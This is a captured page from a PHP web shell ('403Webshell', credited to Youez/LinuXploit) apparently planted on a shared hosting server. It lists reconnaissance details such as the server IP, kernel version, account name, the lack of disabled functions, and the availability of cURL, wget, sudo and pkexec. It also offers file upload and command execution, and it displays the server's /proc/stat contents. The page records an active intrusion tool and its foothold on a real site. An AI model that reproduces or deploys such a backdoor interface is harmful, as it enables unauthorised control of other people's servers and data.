403Webshell
Server IP : 162.241.203.86  /  Your IP : 216.73.217.43
Web Server : Apache
System : Linux br1002.hostgator.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
User : theart99 ( 5843)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/stat
cpu  1615734450 241725882 624832033 3587706731 343020270 0 17101024 12249420 0 0
cpu0 74773822 10816338 29352955 138412963 13497080 0 1040442 312657 0 0
cpu1 67103573 9539404 25236352 153634289 11571379 0 1557734 344224 0 0
cpu2 75256995 10692213 29045215 138905585 13739486 0 452233 314215 0 0
cpu3 66565874 9003086 24757107 155714741 11425829 0 1024138 357801 0 0
cpu4 76708240 8860272 28437064 139422738 11601609 0 2678011 415062 0 0
cpu5 67198104 9414089 24868753 155592278 11002771 0 368212 331359 0 0
cpu6 75649533 10513786 28968180 139273840 13356212 0 297733 319333 0 0
cpu7 66432651 9455381 25068597 155469845 11412354 0 541156 359360 0 0
cpu8 75762090 10252280 28796583 139070810 13062089 0 996058 336713 0 0
cpu9 66390888 10029776 25542077 154661832 11528468 0 255104 347998 0 0
cpu10 75134006 10435724 28864673 139708648 13412546 0 420310 326611 0 0
cpu11 66443178 10275252 26006466 153755936 11597468 0 282990 353172 0 0
cpu12 76393570 10932116 29353455 137603433 13614817 0 111778 309822 0 0
cpu13 65347135 8174643 24250481 158194677 11178838 0 911464 396198 0 0
cpu14 75239438 10505128 28909824 139518987 13394932 0 406478 322938 0 0
cpu15 66451341 10564905 26543314 152852232 11320685 0 545572 367523 0 0
cpu16 64114010 9701608 25424460 149005400 16503533 0 2235267 843254 0 0
cpu17 58348657 10513270 22600830 157890268 18175734 0 109482 842122 0 0
cpu18 62096682 10007109 24531826 151711591 18145310 0 834975 817489 0 0
cpu19 57143477 10366126 22421884 158703785 18913190 0 90928 873861 0 0
cpu20 62130805 10341876 24629201 151302442 18932307 0 97451 799884 0 0
cpu21 56838486 9592473 22521455 159463778 17792433 0 1183338 875877 0 0
cpu22 61551996 10330172 24553456 151755848 19150703 0 101497 807212 0 0
cpu23 56659887 11408845 24147813 156080771 18690488 0 558662 874725 0 0
intr 133343088943 37 9 0 0 927 0 0 0 1 0 0 0 15 0 0 0 0 0 0 22 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 450565844 370252739 455194966 366889934 395657025 353100518 443988455 366859535 436174860 368808751 446488098 371335497 450939514 359781988 444875835 363005448 561295620 588006863 609590820 610548129 631751433 581070817 639217313 606035229 0 1239870248 1561777436 1228174917 1208183914 1241693463 1680740866 1234125739 1305098660 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 148228722168
btime 1786497367
processes 293604935
procs_running 7
procs_blocked 1
softirq 82948179405 664 2118400130 2833 2895220120 48 0 455174022 544497236 989853 3919450467

Youez - 2016 - github.com/yon3zu
LinuXploit